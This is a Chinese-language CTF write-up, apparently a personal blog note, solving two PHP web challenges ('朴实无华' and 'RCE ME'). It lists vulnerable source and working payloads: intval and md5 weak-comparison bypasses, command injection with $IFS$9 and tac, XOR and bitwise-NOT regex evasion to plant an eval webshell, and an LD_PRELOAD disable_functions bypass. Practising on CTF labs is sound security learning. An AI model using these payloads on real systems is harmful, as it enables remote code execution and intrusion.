做到一个题涉及到Unicode编码,记录一个网站,可以找一些合适的Unicode
链接.
题目:
[WUSTCTF2020]朴实无华
robots.txt后访问,可以抓包,再看响应头,之后得到了下面的代码,我的网页里面出现了乱码,把编码改为Unicode之后正常了,但是每次都要改一下,很麻烦,,,
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
level1:
需要get一个num,并且要小于2020,加一之后又要大于2021,,,,
如果intval函数参数是科学计数法的字符串,会以e前面的数字作为返回值
而且测试了一下,只有参数的整体都是字符串才行
<?php
$num=2e4;//先不赋值字符串
echo("intval('2e4') = ".intval($num));
echo('<br>');
echo "'2e4'+1 = ";
var_dump(($num+1));//这里是判断变量的类型和长度,如果变量有值则输出类型和变量的值
echo('<br>');
echo("intval('2e4'+1) = ".intval($num+1));
echo('<br>');
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo("kyrg!");
}
?>
这样输出的值都是正常的20000或者20001
如果是字符串的话,则
可以这样绕过,
payload:
/fl4g.php?num=2e4
这里没有加单引号是因为在传入值后会自动加上单引号
level2:
需要传入一个叫md5的参数,并且md5加密,加密前后的值要求相等
payload:
/fl4g.php?num=2e4&md5=0e215962017
php弱类型,== 在进行比较的时候,会先将字符串转化成相同的类型,再进行比较,需要
<?php
$num='2e4';
echo("intval('2e4') = ".intval($num));
echo('<br>');
var_dump(($num+1));
var_dump("0e112456"=="0e3346789");//添加这句测试一下,说明只要保证是0e开头的,那么这两个值就会认为是相等的
echo('<br>');
echo("intval('2e4'+1) = ".intval($num+1));
echo('<br>');
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo("kyrg");
}
?>
所以传入的值需要是0e开头的并且经过md5加密后也是0e开头的
记录一下这个特殊的值:‘0e215962017’
//get flag
1、需要上传get_flag,要求不能有空格;2、如果其中有cat,则会被替换为wct2020;3、system表示get_flag会被当做系统命令执行
根据第三点,先看一下当前目录里面有什么
/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls
系统命令中一般读文件要使用cat,但是本题中cat会被替换,需要使用tac
而且无论哪个命令,后面接一个文件都需要先加一个空格,这里不可以用空格,可以利用$IFS$9替代空格( 参考文章)
payload:
/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
题目:
[极客大挑战 2019]RCE ME
涉及到正则匹配的绕过,用异或或者取反绕过
异或绕过:
可以用两个不在正则匹配范围内的字符异或,得到需要的字符
比如:echo('?'^'~');
输出
源码:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
echo urlencode(~'phpinfo');//取反绕过
payload:?code=(~%8F%97%8F%96%91%99%90)();
禁用的函数
下面是构造shell,蚁剑连接
<?php
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "******";
$c='(eval($_POST["aaa"]))';
$d=urlencode(~$c);
echo $d;
?>
蚁剑连接成功后并不能执行readflag,原因是有很多函数被禁用,导致上传的shell是一个无效的,需要绕过这个disable_functions执行命令
上传一个脚本到tmp目录下
脚本链接.
原理:利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE(昂。。。。。。)
根据网上的payload:
/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/ooo.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
最后也没有出flag,好像是某个变量还是什么的搞乱了。。。。
晚上思路很乱。。。